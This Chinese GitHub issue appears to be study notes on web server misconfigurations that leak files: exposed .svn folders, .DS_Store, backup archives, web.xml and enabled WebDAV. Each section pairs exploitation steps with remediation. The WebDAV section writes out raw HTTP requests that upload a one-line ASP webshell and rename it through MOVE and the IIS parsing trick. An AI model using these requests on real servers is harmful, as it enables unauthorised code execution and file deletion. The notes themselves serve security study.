Drops Wiki -- 服务配置(三)
PyxYuYu opened this issue · comments
Love lives in cottages as well as in courts.
0x01 Drops Wiki
- 服务配置
- 配置产生漏洞
HTTP Server
- 文件泄漏
SVN
导致文件泄漏- 错误配置及利用
SVN
导致的漏洞主要有两类SVN
为设置密码并允许匿名访问- 导致重要的源代码、数据库连接信息和服务器配置信息等敏感信息泄漏,进而可能将导致服务器沦陷
- 发布代码时使用了
SVN co
并且未限制对服务器上的.svn
文件夹的访问- 发布代码时使用了
SVN co
时服务器将导出一个带.svn
文件夹的目录树,.svn
文件夹中有包含了用于版本信息追踪的entries
文件,如此时未限制对服务器上的.svn
文件夹的访问便可被用于摸清站点结构 - 更严重的问题在于,
SVN
产生的.svn
目录下还包含了以.svn-base
结尾的源代码文件副本(低版本SVN
具体路径为text-base
目录,高版本SVN
为prisitine
目录),如果服务器没有对此类后缀做解析,攻击者则可以直接获取文件源代码 - 如果解析了该后缀,可能会有文件解析的漏洞,可能会有扩展解析漏洞,找地方上传
xxx.php.gif
也许就可以直接得到webshell
- 发布代码时使用了
- 修复方案
- 设置
SVN
密码,并将匿名访问用户的权限设置none
- 发布代码时使用
svn export
导出,而不要使用svn co
检索,防止泄漏目录结构 svn export
使用示例
svn export [-r 版本号] http://路径 [本地目录全路径] --username 用户名 svn export [-r 版本号] svn://路径 [本地目录全路径] --username 用户名 svn export 本地检出的(即带有.svn文件夹的)目录全路径 要导出的本地目录全路径
- 如果已经线上的生产环境已经有了
.svn
目录不想删掉可以在服务器上设置禁止访问此目录 Apache
,设置.htacess
<Directory ~ "\.svn"> Order allow,deny Deny from all </Directory>
Nginx
, 设置配置文件
location ~ ^(.*)\/\.svn\/ { return 404; }
- 设置
- 错误配置及利用
DS_store
导致文件泄漏- 错误配置及利用
- 在发布代码时未删除文件夹中隐藏的
.DS_store
,被发现后,获取了敏感的文件名等信息- 路径扫描,是否存在
.DS_store
文件,下载后查看该文件,看是否存在敏感信息
- 路径扫描,是否存在
- 在发布代码时未删除文件夹中隐藏的
- 修复方案
- 直接在
Mac
系统中禁止.DS_store
生成- 打开终端,复制黏贴下面的命令,回车执行,重启
Mac
即可生效
defaults write com.apple.desktopservices DSDontWriteNetworkStores -bool TRUE
- 恢复
.DS_store
生成
defaults delete com.apple.desktopservices DSDontWriteNetworkStores
- 打开终端,复制黏贴下面的命令,回车执行,重启
- 发布代码时删除所有的
.DS_store
文件- 递归删除指定路径中的所有
.DS_store
文件
find . -name .DS_store -exec rm -rf {} \;
- 递归删除指定路径中的所有
- 直接在
- 错误配置及利用
- 网站备份压缩文件
- 错误配置及利用
- 服务器管理员错误地将网站或者网页的备份文件放置到服务器
Web
目录下 - 编辑器在使用过程中自动保存的备份文件或者临时文件因为各种原因没有被删除而保存在
Web
目录下- 该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用,源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄漏,造成巨大的损失,被泄漏的源代码还可能被用于代码审计,进一步利用而对整个系统的安全埋下隐患
- 该漏洞的检测方法较为简单,只需不断尝试访问服务器上的备份文件即可,提升成功率的关键在于所使用的字典
- 常用的备份文件文件后缀有以下几类
.rar .zip .7z .tar.gz .bak .swp .txt .html ......
- 常见的备份文件文件名有以下几种
www back backup web temp data 新建文件夹
- 一般需要将网站的页面文件路径,网站文件夹路径,还有常见的备份文件文件名还有文件后缀组合起来生成字典,用于备份文件扫描
- 该漏洞本质上是在对网站中的备份文件路径进行爆破,有时候即使网站
Web
目录中有备份文件存在也不一定能被猜到地址
- 常用的备份文件文件后缀有以下几类
- 服务器管理员错误地将网站或者网页的备份文件放置到服务器
- 修复方案
- 删除相应的压缩备份文件或将压缩备份文件移出
Web
目录防止其被下载
- 删除相应的压缩备份文件或将压缩备份文件移出
- 相关工具
Weakfilescan
- 错误配置及利用
WEB-INF/web.xml
泄漏- 错误配置及利用
- 通常一些
Web
应用会使用多个Web
服务器搭配使用,为解决其中的一个Web
服务器的性能缺陷,会使用一些架构来做均衡负载和完成一些分层结构的安全策略等,在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,可能会引发一些安全问题,导致web.xml
等文件能够被读取 - 通过找到
web.xml
文件,推断class
文件的路径,最后直接class
文件,再通过反编译class
文件,得到网站源码
- 通常一些
- 修复方案
- 通过
Nginx
配置禁止访问一些敏感目录
location ~ ^/WEB-INF/* { deny all; }
- 通过
- 错误配置及利用
HTTP
请求方法(PUT
)- 错误配置及利用
Web
服务器默认不开启PUT
等方法,出现该漏洞的原因主要是网站管理员对服务器的错误配置- 常见的就是管理员错误地打开了
IIS
的服务器的WebDAV
而且没有开启权限验证,导致可以PUT
文件到服务器,再利用服务器的解析漏洞运行恶意代码,或者用WebDAV
的MOVE
方法将所上传的恶意代码的普通文件后缀修改为可执行文件后缀,运行恶意代码 - 注意:若服务器开始开启了
DELETE
方法,是可以利用其删除网站上的文件,但实际案例极少,而且开启了DELETE
方法的服务器一般也会开始PUT
方法,与PUT
方法的危害相比,DELETE
方法的危害小得多
- 漏洞扫描与发现
- 对服务器发送
OPTION
包
OPTIONS / HTTP/1.1 Host: www.xxx.com
- 若返回的
HTTP
响应头中带有PUT
、MOVE
等方法时则可以确定服务器开启了WebDAV
- 此时用
PUT
上传一个Shell
,但Shell
后缀不可以是可执行文件后缀
PUT /test.txt HTTP/1.1 Host: www.xxx.com Content-Length: 23 <%eval request("a")%>
- 若服务器启用了
WebDAV
扩展,并且复选了写入
, 就可以写入txt
文件 - 若服务器启用了
脚本资源访问
,则可利用MOVE
方法将txt
后缀文件改成可执行文件的后缀
MOVE /test.txt HTTP/1.1 Host: www.xxx.com Destination: http://www.xxx.com/shell.asp
- 若服务器关闭了
脚本资源访问
,则可利用IIS
解析漏洞来执行Shell
MOVE /test.txt HTTP/1.1 Host: www.xxx.com Destination: http://www.xxx.com/test.asp;.jpg
- 若服务器开启了
DELETE
方法,则可使用以下HTTP
请求删除指定文件
DELETE /test.txt HTTP/1.1 Host: www.xxx.com
- 相关工具:
DAV Explorer
- 对服务器发送
- 修复方案
- 禁用
WebDAV
- 通常情况下网站不需要支持额外的方法,禁用
WebDAV
即可
- 通常情况下网站不需要支持额外的方法,禁用
- 如果需要使用
WebDAV
的话,加上权限验证- 如果选取
脚本资源访问
, 则用户将具备修改WebDAV
文件夹内的脚本说明文件(scriptfile
)的功能 - 除了此处的虚拟目录权限外,还需根据
NTFS
的权限,才可以决定用户是否有权限来访问WebDAV
文件夹内的文件WebDAV
文件夹内的NTFS
权限给予用户适当的NTFS
权限- 首先设置
Everyone
组只有读取
权限,然后再针对个别用户给予写入
权限,例如我们给予用户User
写入的权限
- 首先设置
- 选择验证用户身份的方法: 启动
IIS管理器
, 然后右击WebDAV
虚拟目录,选择属性
-目录安全性
,单击身份验证和访问控制
处的编辑按钮,不选取启用匿名访问
,选择安全的验证方法, 选择集成Windows身份验证
- 如果选取
- 禁用
- 错误配置及利用
- 文件泄漏